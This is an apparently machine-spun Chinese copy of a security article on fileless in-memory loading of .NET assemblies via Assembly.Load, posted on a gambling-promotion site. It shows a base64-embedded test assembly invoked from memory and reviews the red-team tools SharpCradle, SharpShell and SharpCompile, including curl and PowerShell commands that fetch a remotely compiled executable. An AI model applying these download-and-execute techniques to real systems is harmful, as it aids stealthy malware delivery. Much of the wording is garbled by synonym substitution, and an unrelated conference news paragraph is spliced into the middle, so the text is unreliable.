从内存加载.NET顺序集(Assembly.Load)的应用剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从内存加载.NET顺序集(Assembly.Load)的应用剖析

申博_安全防护 申博 112次浏览 已收录 0个评论

sunbet下载

sunbet下载是官方直营、官方授权,优惠不断,老品牌信誉有保障.sunbet专业为上百万网友提供一个安全保障的平台。

,

0x00 媒介

在之前的文章《从内存加载.NET顺序集(execute-assembly)的应用剖析》引见了”execute-assembly”的完成要领和应用思绪,能够从内存中加载.NET顺序集。这个功用不须要向硬盘写入文件,非常隐藏。

与此相似的要领另有一个是Assembly.Load,一样能够从内存中加载.NET顺序集。

本文将会连系三个开源工程,引见Assembly.Load的完成要领,剖析应用思绪。

0x01 简介

本文将要引见以下内容:

· 基础知识

· SharpCradle的应用剖析

· SharpShell的应用剖析

· SharpCompile的应用剖析

0x02 基础知识

参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5

1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区分

Assembly.Load()是从String或AssemblyName范例加载顺序集,能够读取字符串情势的顺序集,也就是说,文件不须要写入硬盘。

Assembly.LoadFrom()从指定文件中加载顺序集,同时会加载目的顺序集所援用和依靠的其他顺序集。

比方:

Assembly.LoadFrom(“a.dll”),假如a.dll中援用了b.dll,那末会同时加载a.dll和b.dll。

Assembly.LoadFile()也是从指定文件中加载顺序集,但不会加载目的顺序集所援用和依靠的其他顺序集。

比方:

Assembly.LoadFile(“a.dll”),假如a.dll中援用了b.dll,那末不会加载b.dll。

2.Assembly.Load()的完成示例

(1)编写测试顺序

测试顺序的代码以下:

using System;
namespace TestApplication
{
	public class Program
	{
    		public static void Main()
    		{
        		Console.WriteLine("Main");
    		}
	}
	public class aaa
	{
    		public static void bbb()
    		{
        		System.Diagnostics.Process p = new System.Diagnostics.Process();
        		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
        		p.Start();
    		}
	}
}

运用csc.exe举行编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs

天生testcalc.exe。

(2)读取testcalc.exe的内容,并作base64加密

代码以下:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

(3)解密字符串变量,复原testcalc.exe的内容,运用Assembly.Load()加载顺序集并挪用要领bbb

代码以下:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
            byte[] buffer = Convert.FromBase64String(base64str);

            Assembly assembly = Assembly.Load(buffer);          
            Type type = assembly.GetType("TestApplication.aaa");
            MethodInfo method = type.GetMethod("bbb");
            Object obj = assembly.CreateInstance(method.Name);            
            method.Invoke(obj, null);
        }
    }
}

0x03 SharpCradle的应用剖析

https://github.com/anthemtotheego/SharpCradle

SharpCradle支撑从Web或文件同享下载二进制文件并在内存中加载。

注:这里须要在长途服务器上保留编译后的二进制文件。

SharpCradle的代码很清楚直观,这里提取出挪用Assembly.Load()的相干代码,内容以下:

        public static void loadAssembly(byte[] bin, object[] commands)
        {
            Assembly a = Assembly.Load(bin);
            try
            {       
                a.EntryPoint.Invoke(null, new object[] { commands });
            }
            catch
            {
                MethodInfo method = a.EntryPoint;
                if (method != null)
                {
                    object o = a.CreateInstance(method.Name);                    
                    method.Invoke(o, null);
                }
            }//End try/catch            
        }//End loadAssembly

值得注重的是MethodInfo method = a.EntryPoint;,示意挪用的为进口函数

也就是说,被加载的顺序集的主要功用要写在Main函数中,比方0x02中的示例代码:

using System;
namespace TestApplication
{
	public class Program
	{
    		public static void Main()
    		{
        		Console.WriteLine("Main");
    		}
	}
	public class aaa
	{
    		public static void bbb()
    		{
        		System.Diagnostics.Process p = new System.Diagnostics.Process();
        		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
        		p.Start();
    		}
	}
}

运用SharpCradle对其举行长途下载实行时,默许只会实行Main函数中的内容。

0x04 SharpShell的应用剖析

https://github.com/cobbr/SharpShell

SharpShell能够应用Rosyln C#编译器疾速交织编译.NET Framework控制台应用顺序或库

注:这里只须要代码文件,不须要编译后的二进制文件。

SharpShell包含以下三个子工程:

(1)SharpShell

运用Rosyln C#编译器对输入的代码举行编译,经由历程内存加载后返回实行的效果。

因为Roslyn只能在.NET Core或.NET 4.6+运用,不支撑.NET 3.5和.NET 4.0

所以这里的SharpShell须要.NET 4.6+的环境才运转。

注:在我的测试环境中,.NET 4.5也能够运转,以下图:

(2)SharpShell.API

SharpShell.API须要.NET Core的开辟环境,这里能够参考之前的文章《SharpGen应用剖析》中SharpGen的开辟环境设置。

SharpShell.API运用ASP.NET Core 2.1挪用Roslyn,作为http server,吸收从SharpShell.API.SharpShell传来的代码,举行编译后回传天生的二进制文件。

(3)SharpShell.API.SharpShell

SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0运用,将代码文件以POST情势发送到http server,吸收编译后的二进制文件,经由历程内存加载后返回实行的效果。

这里只引见同Assembly.Load()相干的工程SharpShell.API和SharpShell.API.SharpShell。

1.测试环境搭建

(1)SharpShell.API

须要.NET Core的开辟环境

git clone https://github.com/cobbr/SharpShell
cd .\SharpShell\SharpShell.API
dotnet build --configuration Release
cd .\bin\Release\netcoreapp2.1
dotnet SharpShell.API.dll

启动SharpShell.API后,接见:http://127.0.0.1:5000/swagger/index.html

以下图:

从内存加载.NET顺序集(Assembly.Load)的应用剖析

世界信息安全大会定址成都|“Black Hat”换个姿势走进中国

10月22日,世界信息安全大会“INSEC WORLD”在成都西部博览城举办,主办方是全球最大的展会主办机构Informa Markets,与国内网络安全会议多由业内公司举办不同的是,Informa Markets是一家独立于行业外的第三方机构,但是这家展会机构与网络安全颇有渊源,每年7、8月份在拉斯维加斯举办的世界黑客大会“Black Hat”同是这家机构主办。 嘶吼作为业内媒体应邀来到成都,我们非常好奇“Blackhat”

(2)SharpShell.API.SharpShell

须要Visual Studio的开辟环境,编译后天生文件SharpShell.API.SharpShell.exe

启动后输入测试敕令Shell.ShellExecute(“whoami”);

以下图:

从内存加载.NET顺序集(Assembly.Load)的应用剖析

2.完成流程

这里我运用wireshark抓取全部历程的通讯数据,较为直观,以下图:

从内存加载.NET顺序集(Assembly.Load)的应用剖析

流程以下:

(1)SharpShell.API.SharpShell发送POST要求。

(2)SharpShell.API吸收POST要求后,复兴确认音讯HTTP/1.1 100 Continue。

(3)SharpShell.API.SharpShell发送JSON花样的代码文件。

(4)SharpShell.API吸收代码文件,运用Rosyln C#编译器对代码文件举行编译,将天生的内容以base64的情势复兴。

(5)SharpShell.API.SharpShell将吸收到的复兴内容作base64解密,挪用Assembly.Load()举行加载。

综上,SharpShell.API.SharpShell也是挪用了Assembly.Load()从内存中加载.NET顺序集,同SharpCradle的区分以下:

SharpCradle须要在长途服务器上保留编译后的二进制文件。

SharpShell只须要向长途服务器发送代码文件,不须要编译后的二进制文件。

0x05 SharpCompile的应用剖析

https://github.com/SpiderLabs/SharpCompile

SharpCompile包含以下两部分:

(1)SharpCompileServer

作为http server,用来吸收POST要求传来的代码,举行编译后回传天生的二进制文件。

这里运用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器。

默许csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe

注:这里须要注重http server和当地.NET的版本是不是一致。

(2)SharpCompile.cna

Cobalt Strike的剧本文件,在运用前须要先指定http server的url和剧本文件保留的位置。

默许运用curl将代码文件上传到http server,所以测试环境须要提早装置curl。

1.现实测试

(1)开启http server

SharpCompileServer须要Visual Studio的开辟环境,编译后天生文件SharpCompileServer.exe

实行SharpCompileServer.exe,开启http server,以下图:

从内存加载.NET顺序集(Assembly.Load)的应用剖析

(2)http server的功用测试

向http server发送POST花样的代码,检察返回的内容。

test.cs保留代码文件,内容以下:

using System;
namespace TestCalc
{
    class Hello
    {
        static void Main(string[] args)
        {
            System.Diagnostics.Process.Start("calc.exe");
        }
    }
}

这里离别运用powershell和curl敕令举行测试。

(1)powershell

Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe

以上敕令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保留为out.exe

注:Invoke-RestMethod敕令须要Powershell v3.0

(2)curl

curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v

以上敕令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保留为out.exe

这里运用wireshark抓取全部历程的通讯数据,以下图:

从内存加载.NET顺序集(Assembly.Load)的应用剖析

(3)SharpCompile.cna测试

在我的测试环境下,SharpCompile.cna中的exec(@command);敕令没法实行,所以没法复现SharpCompile.cna的功用。

2.完成流程

然则SharpCompile.cna的代码逻辑比较直观,完成流程以下:

1.挪用curl敕令将代码文件以post的情势发送至http server,吸收内容并保留在当地

2.实行文件

3.删除文件

SharpCompile没有运用Assembly.Load()从内存中加载.NET顺序集,而是保留在硬盘实行后删除。

这里能够对其进一步修正,运用Assembly.Load()从内存中加载.NET顺序集。

0x06 三个开源工程的比较和应用思绪

SharpCradle须要在长途服务器上保留提早编译好的二进制文件,下载后运用Assembly.Load()从内存中加载.NET顺序集。

SharpShell.API.SharpShell向长途服务器发送代码文件,服务器运用Rosyln C#编译器天生二进制文件,下载后运用Assembly.Load()从内存中加载.NET顺序集。

SharpCompile向长途服务器发送代码文件,服务器运用csc.exe天生二进制文件,下载到当地后直接实行。

功用最为完全的是SharpShell.API.SharpShell,长处以下:

· 全部历程在内存实行,不写入文件体系

· 可天生指定.NET版本的二进制文件

· 仅须要c#花样的payload,固然也能够运用编译好的二进制文件(只能是.NET顺序集)

在应用思绪上,Assembly.Load同execute-assembly相似,区分在于payload的花样差别。

0x07 小结

本文引见了Assembly.Load的完成要领,连系三个开源工程SharpCradle、SharpShell和SharpCompile,剖析细节,总结应用思绪。

原文地点: https://www.4hou.com/technology/21116.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从内存加载.NET顺序集(Assembly.Load)的应用剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址